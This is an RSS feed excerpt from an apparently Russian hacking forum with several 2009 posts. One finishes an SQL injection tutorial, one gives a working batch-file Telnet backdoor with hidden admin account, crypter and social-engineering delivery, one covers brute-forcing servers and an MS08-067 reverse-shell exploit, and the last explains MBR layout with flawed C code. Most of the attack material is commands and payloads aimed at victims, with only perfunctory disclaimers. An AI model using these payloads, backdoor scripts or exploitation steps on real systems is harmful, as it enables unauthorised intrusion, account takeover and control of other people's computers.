						&lt;p&gt;Значит нам теперь известно второе поле, дальше... набиваем:&lt;/p&gt;
						&lt;p&gt;&amp;quot; &#039; group by users.status, users.username having &lt;/p&gt;
						&lt;p&gt;1=1--&amp;quot;&lt;/p&gt;
						&lt;p&gt;и так последовательно узнаем все поля, до тех пор пока в ответ мы не получим ошибки. Допустим это получилось и&lt;/p&gt;
						&lt;p&gt;&amp;quot; &#039; group by users.status, &lt;/p&gt;
						&lt;p&gt;users.username, users.password, users.mail having 1=1--&amp;quot;&lt;/p&gt;
						&lt;p&gt;не вызвало ошибок. Отлично! Значит все поля это status, username, password и mail. Но теперь мы должны узнать тип используемый для каждого поля. Введем место логина такое:&lt;/p&gt;
						&lt;p&gt;&amp;quot; &#039; union select sum(username) from users--&amp;quot;&lt;/p&gt;
						&lt;p&gt;и что мы видим? А вот что :&lt;/p&gt;
						&lt;p&gt;The sum or average aggregate operation cannot take a &lt;/p&gt;
						&lt;p&gt;varchar data type as an argument. &lt;/p&gt;
						&lt;p&gt;А значит это что username это varchar, то бишь строка. Теперь набиваем:&lt;/p&gt;
						&lt;p&gt;&amp;quot; &#039; union select sum(status) from &lt;/p&gt;
						&lt;p&gt;users--&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Смотрим на результат:&lt;/p&gt;
						&lt;p&gt;All queries in an SQL statement containing a UNION operator must have an &lt;/p&gt;
						&lt;p&gt;equal number of expressions in their target lists.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;Это значит что поле status - число. Все теперь добавляем &lt;/p&gt;
						&lt;p&gt;себя, пишем вместо логина&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;quot; &#039;; insert into users values( 0, &#039;xakep&#039;, &lt;/p&gt;
						&lt;p&gt;&#039;g00r00&#039;, &#039;xakep@xakep.ru&#039;)--&amp;quot;&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;Вс, &lt;/p&gt;
						&lt;p&gt;считайте дело сделано. Но и это еще не все! Мы можем исполнять команды. Делается &lt;/p&gt;
						&lt;p&gt;это так:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;quot; &#039;; exec master..xp_cmdshell &#039;ping 127.0.0.1&#039; --&amp;quot;.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;Но &lt;/p&gt;
						&lt;p&gt;результатов мы не увидим. Что делать? Можно написать следующее:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;quot; &#039;; EXEC &lt;/p&gt;
						&lt;p&gt;master..sp_makewebtask &amp;quot;127.0.0.1dataresult.html&amp;quot;, &lt;/p&gt;
						&lt;p&gt;&amp;quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&amp;quot; &amp;quot;. &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;Где 127.0.0.1 IP компьютера с расшареной папкой data. Это не все возможности, это основы. &lt;/p&gt;
						&lt;p&gt;Все остальное по этой теме можно найти в инете. Как избежать этого? Смотри пример на ASP: &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;function validatepassword( input ) &lt;br /&gt;good_password_chars &lt;/p&gt;
						&lt;p&gt;=&amp;quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&amp;quot; &lt;/p&gt;
						&lt;p&gt;validatepassword = true &lt;br /&gt;for i = 1 to len( input ) &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; c = mid( input, i, 1 ) &lt;br /&gt;if ( InStr( good_password_chars, c ) = 0 ) then &lt;br /&gt;&amp;#160; &amp;#160; validatepassword = false &lt;br /&gt;&amp;#160; &amp;#160; exit function &lt;br /&gt;end if &lt;br /&gt; next &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; end function&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 16:27:31 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=35#p35</guid>
		</item>
		<item>
			<title>Взлом через TELNET</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=34#p34</link>
			<description>&lt;p&gt;Всем привет! Все больше и больше я вижу, как новички задают одни и те же вопросы на форуме, в чате, в аськах, такие как: Что такое телнет? Как им пользоваться? Зачем он нужен? Поэтому я решил в помощь им написать эту статью. В этой статье я попробую объяснить как с помощью такого универсального сервиса, как телнет, можно проникнуть в файловую систему удалённого по сети компа, и полностью управлять им, отдавая команды. Но прежде чем действовать давайте узнаем, что за такая служба телнет.&lt;/p&gt;
						&lt;p&gt;Телнет - сетевой протокол для работы в удаленной системе в терминальном &lt;br /&gt;режиме(т.е. режиме командной строки). Все делается &amp;quot;ручками&amp;quot;, мыши отдыхают,только текстовый обмен информацией. Он один из важнейших средств, пользоваться которым должен научиться каждый хакер прежде, чем он подумает о взломе серверов. Этот протокол может быть использован для подключения к удаленным компьютерам и запуска программ из командной строки, просто вводя команды в GUI окне. Telnet не использует ресурсы клиентской машины, но он использует ресурсы сервера, с которым соединился клиент. В основном это программа, эмулирующая терминал,&lt;br /&gt;позволяющая нам подключаться к удаленным компьютерам.&lt;/p&gt;
						&lt;p&gt;Ну а теперь как вы уже наверно догадались эту службу и необходимо открывать у &lt;br /&gt;жертвы. Бывает такое, что этот сервис уже будет весить у &amp;quot;врага&amp;quot;, но при попытки &lt;br /&gt;подключится 90% того, что он потребует пасс, можно конечно попробовать брутить, &lt;br /&gt;но вероятность успеха очень маленькая. Для взлома можно воспользоваться таким &lt;br /&gt;методом как социальная инженерия(СИ). Я думаю не надо объяснять что это такое. &lt;br /&gt;Если вы думаете, что СИ никак не относится к хакерству то вы ошибаетесь, этот &lt;br /&gt;метод в данном случае наиболее актуален. &lt;br /&gt;Для того, чтобы открыть телнет, жертве необходимо будет запустить созданый &lt;br /&gt;тобой файл, который ей можно подарить. При запуске его он пропишит нужный тебе &lt;br /&gt;порт, на котором будет висеть телнет, нужный логин и пасс. Его можно запросто &lt;br /&gt;написать на языке Bat, т.е. язык команд в GUI окне в среде Windows(режим командной &lt;br /&gt;строки).&lt;br /&gt;тело батника:&lt;/p&gt;
						&lt;p&gt;chcp 1251&lt;br /&gt;net user SUPPORT_388945a0 /delete&lt;br /&gt;net user hacker hack /add&lt;br /&gt;net localgroup Администраторы hacker /add&lt;br /&gt;net localgroup Пользователи SUPPORT_388945a0 /del&lt;br /&gt;regedit /s conf.reg&lt;br /&gt;sc config tlntsvr start= auto&lt;br /&gt;tlntadmn config port=972 sec=-NTLM&lt;br /&gt;net start Telnet&lt;/p&gt;
						&lt;p&gt;все это пишешь в блокноте, и сохраняем как *.bat&lt;/p&gt;
						&lt;p&gt;Теперь пояснения:&lt;br /&gt;chcp 1251- меняет кодировку на 1251, так как батник написан не в дос кодировке.&lt;br /&gt;net user SUPPORT_388945a0 /delete и&lt;br /&gt;net localgroup Пользователи SUPPORT_388945a0 /del - удаляют стандартную &lt;br /&gt;первоначальную виндосовскую учетку, которая есть в xp prof и в 2003 server.&lt;br /&gt;net user hacker hack /add и&lt;br /&gt;net localgroup Администраторы hacker /add - не трудно догадаться, что этими &lt;br /&gt;командами создаётся новая учетная запись с админскими правами, &lt;br /&gt;где логин: hacker&lt;br /&gt;пасс: hack&lt;br /&gt;Так как при создании нового админа он будет виден в welcome screen&#039;е, отключить его &lt;br /&gt;можно импортировав&lt;br /&gt;рег файл в реестр, следующего содержания:&lt;br /&gt;Содержимое conf.re&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows &lt;br /&gt;NTCurrentVersionWinlogonSpecialAccountsUserLis t]&lt;br /&gt;&amp;quot;hacker&amp;quot;=dword:00000000&lt;br /&gt;Сервис телнет по умолчанию отключен, но есть такая команда sc config tlntsvr start= &lt;br /&gt;auto которая&lt;br /&gt;меняет тип его запуска на автоматический(по дефолту disabled ).&lt;br /&gt;При запуске телнета, он ставится на стандартный свой 23-ий порт, но увы это &lt;br /&gt;палевно, поэтому советую прописывать этой командой tlntadmn config port=972 &lt;br /&gt;sec=-NTLM , редко используемый порт. В нашем случае это 972.&lt;br /&gt;Ну вот все настройки и конфигурация сервиса завершена, и эта строка net start Telnet &lt;br /&gt;окончательно запустит наш бэкдор.&lt;/p&gt;
						&lt;p&gt;теперь проверим правильный ли синтаксис кода. Открываем командную строку, если &lt;br /&gt;она потерялась можно найти её здесь c:WINDOWSsystem32cmd.exe. Вставляем код, &lt;br /&gt;запускаем и смотрим нет ли ошибок. Убедится что все ок, еще можно так: &lt;br /&gt;Пуск -&amp;gt; Выполнить -&amp;gt; пишем services.msc -&amp;gt; Ok &lt;br /&gt;Там ты видишь запуск, остановку и настройку служб Windows. Выбираешь Telnet, и &lt;br /&gt;смотришь её свойства. При необходимости в любой момент можно её отключить.&lt;/p&gt;
						&lt;p&gt;Вот батник готов, и как ты видишь он слишком палевны, при его запуске вылетает &lt;br /&gt;консольное черное окно, говорящее о выполняемых процессах в командной строке. Но &lt;br /&gt;не все так плохо, тебе поможет такая прога, как QuickBatchFileCompiler &lt;a href=&quot;http://ifolder.ru/7197807.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ifolder.ru/7197807.&lt;/a&gt; Она &lt;br /&gt;компилирует пакетные bat-, cmd- и vb-файлы в исполняемые *.exe. И батник &lt;br /&gt;превратится в скрытый *.exe файл, ну скрытый конечно не в прямом смысле. &lt;br /&gt;Вроде готово... Но не совсем, ты же не будешь дарить пустой экзешник, поэтому &lt;br /&gt;бери в руки джойнеры и крипторы, если нету, не плохой публичный криптор можно &lt;br /&gt;скачать тут &lt;a href=&quot;http://ifolder.ru/7198272&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ifolder.ru/7198272&lt;/a&gt; pohernah107(13 кб) а джойнер можешь взять здесь &lt;a href=&quot;http://ifolder.ru/7197872&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ifolder.ru/7197872&lt;/a&gt; &lt;br /&gt;RedBindeR_v1.3_Mod(460 кб) . Они помогут тебе склеить файлы в один и изменить &lt;br /&gt;сигнатуру дабы не палится антивирусами. &lt;br /&gt;Допустим, жертва повелась на эти уловки и запустила файл. Зная IP своей жертвы &lt;br /&gt;тебе осталось только подключится к телнету через указанный тобой порт. Бывает &lt;br /&gt;так что жертва находится в глобальной сети www у которой IP динамический, в этом &lt;br /&gt;случаи, зная диапазон IP его провайдера можно просканировать эту сеть на &lt;br /&gt;открытый наш редко используемый 972 Порт. А чтобы знать когда твой &amp;quot;друг&amp;quot; &lt;br /&gt;в онлайне, может помочь его авторизованная ася, или всем известный мэйл@агент.&lt;br /&gt;Осталось подключится. Для этого можешь выбрать стандартный виндосовский &lt;br /&gt;клиент который находится тут c:WINDOWSsystem32telnet.exe. &lt;br /&gt;Запускаешь. Пишешь:&lt;br /&gt;Microsoft Telnet&amp;gt; o 192.168.1.24[IP жертвы] 972[порт]&lt;br /&gt;если пишет:&lt;br /&gt;Welcome to Microsoft Telnet Service&lt;br /&gt;login:_&lt;br /&gt;то всё акей =))&lt;br /&gt;Вводишь:&lt;br /&gt;login: hacker&lt;br /&gt;password: hack&lt;br /&gt;Появляется надпись:&lt;br /&gt;*=====================================================&lt;br /&gt;Вас приветствует Telnet-сервер производства корпорации Майкрософт&lt;br /&gt;*=====================================================&lt;br /&gt;C:&amp;gt;_&lt;/p&gt;
						&lt;p&gt;Поздравляю, ты внутри, перед тобой консоль, с помощью которой ты можешь &lt;br /&gt;управлять кампом, отдавая команды...&lt;br /&gt;Можно к примеру расшарить диски:&lt;/p&gt;
						&lt;p&gt;C:&amp;gt;net share disk_c=c: &amp;gt; nul&lt;br /&gt;C:&amp;gt;net share disk_d=d: &amp;gt; nul&lt;br /&gt;C:&amp;gt;net share disk_e=e: &amp;gt; nul&lt;/p&gt;
						&lt;p&gt;перезагрузить комп:&lt;br /&gt;C:&amp;gt;shutdown -r -t 1 -c -f&lt;/p&gt;
						&lt;p&gt;прописать какой-нибудь ключ реестра:&lt;br /&gt;C:&amp;gt;reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v &lt;br /&gt;DisableRegistryTools /t REG_DWORD /d 1 /f - который запретит доступ к нему&lt;/p&gt;
						&lt;p&gt;или поднять ftp сервер и залить радмина для более удобного удаленного &lt;br /&gt;администрирования:&lt;br /&gt;C:&amp;gt;ftp &lt;br /&gt;В общем-то, здесь уже играет фантазия взломщика =)&lt;/p&gt;
						&lt;p&gt;Как видишь, такую службу как Telnet нельзя недооценивать, в опытных руках хакера это мощное оружие, способное привести к несанкционированному доступу к дорогой в наше время информации. Поэтому делай выводы, чтобы защитить себя в информационном мире.&lt;/p&gt;
						&lt;p&gt;P.S. На все непонятные термины и выражения есть Гугл. &lt;/p&gt;
						&lt;p&gt;Внимание!!! Данная статья - это не побуждение к действию, все описанное здесь &lt;br /&gt;попадает под действие УК РФ. Я пишу это только для ознакомления, и в целях вашей &lt;br /&gt;информационной безопасности&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 16:13:06 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=34#p34</guid>
		</item>
		<item>
			<title>Ломаем сервак!</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=33#p33</link>
			<description>&lt;p&gt;Доброго времени суток!&lt;/p&gt;
						&lt;p&gt;И так преступим, дедик он же dedicated server это выделенный сервер(подробнее смотрим на &lt;a href=&quot;http://ru.wikipedia.org&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.wikipedia.org&lt;/a&gt;). Рассматривать мы будем брут. Следовательно мы будем искать открытые порты 445,139,3389,5900. На машинах с этими открытыми портами можно&amp;#160; получить доступ к удаленному рабочему столу.&lt;/p&gt;
						&lt;p&gt;Начнем пожалуй с порта 5900 он же VNC. Цель для взлома как и все последующие&amp;#160; мы будем искать с помощью сканера Angry IP scanner. Его интерфейс интуитивно понятен (вводим начальный и конечный IP для сканирования, и нажав на стрелочку возле кнопки Start выбираем нужный порт(нажимаем на кнопку рядом с Scan Ports и вводим порт)). Далее нажимаем старт и ждем когда сканер найдет и выдаст нам IP потенциальных жертв. Для удобства в настройках можно указать, чтобы отображались только IP которые онлайн и у них открыт нужный нам порт. Далее берем программу services.exe неизвестного мне автора. С помощью неё мы будем пытаться взломать дедики в каталоге с программой есть такие файлы как:&lt;/p&gt;
						&lt;p&gt;bad.txt - деды к которым пасс не подошел&lt;/p&gt;
						&lt;p&gt;good.txt - деды к которым пасс подошел&lt;/p&gt;
						&lt;p&gt;list.txt - ip дедиков которые мы пытаемся взломать&lt;/p&gt;
						&lt;p&gt;pass.txt - пассворд лист&lt;/p&gt;
						&lt;p&gt;option.ini - файл с настройками программы&lt;br /&gt;GENERAL]&lt;br /&gt;UIN=icq uin бота&lt;br /&gt;PASS=пароль от номера бота&lt;br /&gt;PassFile=pass.txt - файл с пассами.&lt;br /&gt;UinSend= icq uin на который автоматом высылать гуды.&lt;br /&gt;ListFile=list.txt - файл с ip адресами.&lt;br /&gt;В самой программе нужно нажать только на кнопочку Start. Ну вобщем-то все, далее сами разберетесь.&lt;/p&gt;
						&lt;p&gt;Взлом дедиков с открытым 139,3389 портом аналогичен. Только софт другой. В качестве брута мы будем использовать Ntscan. В нем практически все также.&lt;br /&gt;NT_user.dic - файл с логинами для брута.&lt;br /&gt;NT_pass.dic - файл с паролями для брута.&lt;br /&gt;host.txt - файл с IP дедиков для брута (надо создать вручную и выбрать при указании параметров брута)&lt;br /&gt;В самой программе указываем нужный нам диапазон IP (если предварительно не отобрали дедики для брута), порт,количество потоков, тайм аут...Ну и вроде как все, нажимаем Start и радуемся...&lt;/p&gt;
						&lt;p&gt;И так теперь взлом компьютеров с открытым 445 портом. Находим мы их как и все остальные с помощью сканера портов. Использовать мы будем уязвимость MS08-067_netapi присутствующую Sp SP2SP3 Pro. с помощью Metasploit 3.2.&lt;br /&gt;Заходим Metasploit 3.2&amp;gt;GUI&amp;gt;Exploits&amp;gt;Windows&amp;gt;SMB&amp;gt;MS08-067_netapi (подробно о использовании Metasploit можно почитать в статьях -=Lebed=-), Payloads =generic/shell_reverse_tcp&lt;/p&gt;
						&lt;p&gt;Мы получаем консоль жертвы, с помощью FTP закачиваем настроенный RAdmin и потом через консоль радмина&lt;/p&gt;
						&lt;p&gt;cmd&lt;br /&gt;net user user pass /add&lt;br /&gt;net localgroup Administrators user /add&lt;br /&gt;net localgroup &amp;quot;Remote Desktop Users&amp;quot; user /add&lt;br /&gt;net accounts /maxpwage:unlimited&lt;br /&gt;exit&lt;/p&gt;
						&lt;p&gt;создаем нового пользователя...&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Файлы к архиву: &lt;a href=&quot;http://www.webfile.ws/d/7875&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.webfile.ws/d/7875&lt;/a&gt;&lt;br /&gt;Пароль:hackzone.ru&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;________________&lt;br /&gt;ps&lt;br /&gt;Инфа для редких новичков!&lt;br /&gt;Все выше написанно с использованием метериалов AllenZ,stopxaker,Realix...Честь им и хвала!&lt;br /&gt;зы2&lt;br /&gt;все написанно только в целях ознакомления и бла-бла-бла...&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 16:09:58 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=33#p33</guid>
		</item>
		<item>
			<title>Написание собственной Операционной Системы №2</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=32#p32</link>
			<description>&lt;p&gt;Устройство жесткого диска&lt;/p&gt;
						&lt;p&gt;На нем по физическому адресу 0-0-1 располагается главная загрузочная запись (MBR). В структуре MBR находятся следующие элементы:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Внесистемный загрузчик (NSB);&lt;br /&gt;&amp;#160; &amp;#160; * Таблица описания разделов диска (таблица разделов, PT).&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Располагается в MBR по смещению 0x1BE и занимает 64 байта; Таблица разделов описывает размещение и характеристики имеющихся на винчестере разделов. Разделы диска могут быть двух типов - primary (первичный, основной) и extended (расширенный). Максимальное число primary-разделов равно четырем. Наличие на диске хотя бы одного primary-раздела является обязательным. Extended-раздел может быть разделен на большое количество подразделов - логических дисков.&lt;br /&gt;&amp;#160; &amp;#160; * Сигнатура MBR. Последние два байта MBR должны содержать число 0xAA55.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Т.е. структура MBR выглядит так: программа анализа таблицы разделов и загрузки System Bootstrap с активного раздела (смещение 0, размер 446) --&amp;gt; Partition 1/2/3/4 entry ( элемент таблицы разделов) (Смещение для первого 0x1BE, размер каждого 16), Сигнатура 0xAA55 (Смещение - 0x1FE, размер 2)&lt;/p&gt;
						&lt;p&gt;Partition entry выглядит так:&lt;/p&gt;
						&lt;p&gt;- признак активности (0 - раздел не активный, 0x80 - раздел активный). Он служит для определения, является ли раздел системным загрузочным и есть ли необходимость производить загрузку операционной системы с него при старте компьютера. Активным может быть только один раздел. Элемент первичного раздела указывает сразу на загрузочный сектор логического диска (в первичном разделе всегда имеется только один логический диск), а элемент расширенного раздела - на список логических дисков, составленный из структур, которые именуются вторичными MBR (SMBR). SMBR имеет структуру, аналогичную MBR, но загрузочная запись у него отсутствует (заполнена нулями), а из четырех полей описателей разделов используются только два. Первый элемент раздела при этом указывает на логический диск, второй элемент указывает на следующую структуру SMBR в списке. Последний SMBR списка содержит во втором элементе нулевой код раздела. (1 байт)&lt;br /&gt;- Номер головки диска, с которой начинается раздел. (1 байт)&lt;br /&gt;- Номер цилиндра и номер сектора, с которых начинается раздел. Биты 0-5 содержат номер сектора, биты 6-7 - старшие два бита 10-разрядного номера цилиндра, биты 8-15 - младшие восемь битов номера цилиндра. (2 байта)&lt;br /&gt;- Код типа раздела System ID. Указываюет на принадлежность данного раздела к той или иной операционной системе. (1 байт)&lt;br /&gt;- Номер головки диска, на которой заканчивается раздел (1 байт)&lt;br /&gt;- Номер цилиндра и номер сектора, которыми заканчивается раздел Три байта на каждый номер. (2 байта)&lt;br /&gt;- Абсолютный (логический) номер начального сектора раздела, т.е. число секторов перед разделом (4 байта)&lt;br /&gt;- Размер раздела (число секторов). Размер раздела в секторах (4 байта)&lt;/p&gt;
						&lt;p&gt;Теперь можно подобраться чуть ближе к практике. Рассмотрим модуль для Linux, показывающий информацию обо всех раздела жесткого диска.&lt;/p&gt;
						&lt;p&gt;#define signt 0xAA55&lt;br /&gt;#define DEV &amp;quot;/dev/hda&amp;quot;&lt;br /&gt;#define pt_s 0x10 // размер элемента таблицы разделов&lt;br /&gt;struct stype { u8 part_type; u8 *part_name; }; // Соответствие кода раздела с его символьным отображением&lt;br /&gt;struct stype 386_stype[] = {&lt;br /&gt;{0x00, &amp;quot;Empty&amp;quot;},&lt;br /&gt;{0x01, &amp;quot;FAT12&amp;quot;},&lt;br /&gt;{0x04, &amp;quot;FAT16 &amp;lt;32M&amp;quot;},&lt;br /&gt;{0x05, &amp;quot;Extended&amp;quot;}, /* DOS 3.3 */&lt;br /&gt;{0x06, &amp;quot;FAT16&amp;quot;}, /* DOS при &amp;gt;=32M */&lt;br /&gt;{0x0b, &amp;quot;Win95 FAT32&amp;quot;},&lt;br /&gt;{0x0c, &amp;quot;Win95 FAT32 (LBA)&amp;quot;},&lt;br /&gt;{0x0e, &amp;quot;Win95 FAT16 (LBA)&amp;quot;},&lt;br /&gt;{0x0f, &amp;quot;Win95 Ext&#039;d (LBA)&amp;quot;},&lt;br /&gt;{0x82, &amp;quot;Linux swap&amp;quot;}, /* и для солярис */&lt;br /&gt;{0x83, &amp;quot;Linux&amp;quot;},&lt;br /&gt;{0x85, &amp;quot;Linux extended&amp;quot;},&lt;br /&gt;{0x07, &amp;quot;HPFS/NTFS&amp;quot;} }; // Именно такая таблица принята для файловых систем&lt;br /&gt;#define p_n (sizeof(386_stype) / sizeof(386_stype[0])) // определяем здесь число элементов в массиве, что определен выше.&lt;br /&gt;int disk; // дескриптор файла устройства&lt;br /&gt;u8 mbr[512]; // сюда считаем MBR&lt;br /&gt;struct pt { u8 boot; u8 startp[3]; u8 typep; u8 endp[3]; u32 sectbef; u32 secttot; } pt_k[max]; // Структура по таблице разделов&lt;br /&gt;#define max 20 // max логических дисков&lt;br /&gt;// Главная функция:&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;int i = 0;&lt;br /&gt;u64 sk;&lt;br /&gt;// Открываем файл устройства, получаем таблицу разделов, потом сверяем сигнатуру:&lt;br /&gt;hard = open(DEV, O_RDONLY);&lt;br /&gt;if(disk &amp;lt; 0) {&lt;br /&gt;perror(&amp;quot;open&amp;quot;);&lt;br /&gt;exit(-1);&lt;br /&gt;}&lt;br /&gt;rmaintab();&lt;br /&gt;if(csign() &amp;lt; 0) {&lt;br /&gt;printf(&amp;quot;Invalid sign!\n&amp;quot;);&lt;br /&gt;exit(-1);&lt;br /&gt;}&lt;br /&gt;// Поиск идентификатора расширенного раздела. Если есть – считаем смещение и получаем информацию по логическим разделам.&lt;/p&gt;
						&lt;p&gt;for(; i &amp;lt; 4; i++) {&lt;br /&gt;if((pt_k[i].typep == 0xF) || \&lt;br /&gt;(pt_k[i].typep == 0x5) || \&lt;br /&gt;(pt_k[i].typep == 0x0C)) {&lt;br /&gt;sk = (u64)pt_k[i].sectbef * 512;&lt;br /&gt;rexttab(sk);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;// Отображаем информацию:&lt;/p&gt;
						&lt;p&gt;showinf();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;// Проверка сигнатуры 0xAA55:&lt;br /&gt;int csign()&lt;br /&gt;{&lt;br /&gt;u16 sign = 0;&lt;br /&gt;memcpy((void *)&amp;amp;sign, (void *)(mbr + 0x1FE), 2);&lt;br /&gt;#ifdef DEBUG printf(&amp;quot;Sign - 0x%X\n&amp;quot;, sign);&lt;br /&gt;#endif&lt;br /&gt;if(sign != SIGNT) return -1;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;// Чтение таблицы разделов:&lt;br /&gt;void rmaintab()&lt;br /&gt;{&lt;br /&gt;if(read(disk, mbr, 512) &amp;lt; 0) {&lt;br /&gt;perror(&amp;quot;read&amp;quot;);&lt;br /&gt;close(disk);&lt;br /&gt;exit(-1);&lt;br /&gt;}&lt;br /&gt;memset((void *)pt_k, 0, (PT_SIZE * 4));&lt;br /&gt;memcpy((void *)pt_k, mbr + 0x1BE, (pt_s * 4));&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;// Чтения расширенной таблицы разделов:&lt;br /&gt;void rexttab(u64 sk)&lt;br /&gt;{&lt;br /&gt;int number = 4; // С этой позиции pt_k будет заполняться информацией о логических дисках&lt;br /&gt;u8 smbr[512];&lt;br /&gt;// Она принимает один параметр sk - смещение к расширенному разделу от начала диска. Для получения информации о логических дисках воспользуемся циклом:&lt;br /&gt;for(;;number++) {&lt;br /&gt;// Читаем SMBR, по offset seek от начала диска:&lt;br /&gt;memset((void *)smbr, 0, 512);&lt;br /&gt;pread64(hard, smbr, 512, sk);&lt;br /&gt;// Заполним часть pt_k. Первый элемент будет указывать на логический диск, а следующий - на следующую структуру SMBR:&lt;br /&gt;memset((void *)&amp;amp;pt_k[number], 0, PT_SIZE * 2);&lt;br /&gt;memcpy((void *)&amp;amp;pt_k[number], smbr + 0x1BE, pt_size * 2);&lt;br /&gt;// Поправка в поле &amp;quot;Номер начального сектора&amp;quot; - отсчет ведется от начала диска:&lt;br /&gt;pt_k[number].sectbef += (sk / 512);&lt;br /&gt;// Код типа раздела равен нулю? Больше логических дисков нет!&lt;br /&gt;if(!(pt_k[number + 1].typep)) break;&lt;br /&gt;// Offset к следующей SMBR:&lt;br /&gt;sk = ((u64)(pt_k[number].sectbef + pt_k[number].secttot)) * 512;&lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;return;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;// Покажем информацию о найденных логических дисках:&lt;br /&gt;void showinf()&lt;br /&gt;{&lt;br /&gt;int i = 0, n;&lt;br /&gt;printf(&amp;quot;Num - %d\n&amp;quot;, P_N);&lt;br /&gt;for(; i &amp;lt; max; i++) {&lt;br /&gt;if(!pt_k[i].typep) break;&lt;br /&gt;printf(&amp;quot;\nType %d - &amp;quot;, i);&lt;br /&gt;for(n = 0; n &amp;lt; P_N; n++) {&lt;br /&gt;if(pt_k[i].typep == 386_stype[n].typep) {&lt;br /&gt;printf(&amp;quot;%s\n&amp;quot;, 386_stype[n].namep);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if(n == P_N) printf(&amp;quot;Unknown\n&amp;quot;);&lt;br /&gt;printf(&amp;quot; Boot flag - 0x%X\n&amp;quot;, pt_k[i].bootable);&lt;br /&gt;printf(&amp;quot; Number of sectors in partition%d - %d\n&amp;quot;, i, pt_k[i].secttot);&lt;br /&gt;printf(&amp;quot;Number of sector before partition%d - %d\n\n&amp;quot;, i, pt_k[i].sectbef);&lt;br /&gt;}&lt;br /&gt;return;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Интерфейс АТА&lt;/p&gt;
						&lt;p&gt;А теперь опять к теории… У каждого диска есть стандартный набор регистров, состоящий из двух блоков: командных регистров и управляющих регистров. Первый служит для посылки команд устройству и передачи информации о его состоянии. Состав блока командных регистров:&lt;/p&gt;
						&lt;p&gt;1. Регистр состояния/команд – в режиме read_only отражает текущее состояние устройства в процессе выполнения команды. Чтение регистра состояния разрешает дальнейшее изменение его бит и сбрасывает запрос аппаратного прерывания. В режиме write принимает коды команд для выполнения.&lt;/p&gt;
						&lt;p&gt;Назначение бит регистра состояния:&lt;/p&gt;
						&lt;p&gt;Бит 7 - BSY указывает на занятость устройства. При =1 игнорирует попытки записи в блок командных регистров. При =0 регистры командного блока доступны.&lt;br /&gt;Бит 6 - DRDY указывает на готовность устройства к восприятию любых кодов команд.&lt;br /&gt;Бит 5 - DF - индикатор отказа устройства.&lt;br /&gt;Бит 4 - DSC - индикатор завершения поиска трека.&lt;br /&gt;Бит 3 - DRQ - индикатор готовности к обмену словом или байтом данных.&lt;br /&gt;Бит 2 - CORR - индикатор исправленной ошибки данных.&lt;br /&gt;Бит 1 - IDX - индекс, трактуется специфично для каждого производителя.&lt;br /&gt;Бит 0 - ERR - индикатор ошибки выполнения предыдущей операции. Дополнительная информация содержится в регистре ошибок.&lt;/p&gt;
						&lt;p&gt;2. Регистр номера цилиндра и номера сектора.&lt;br /&gt;3. Регистр номера устройства и головки.&lt;/p&gt;
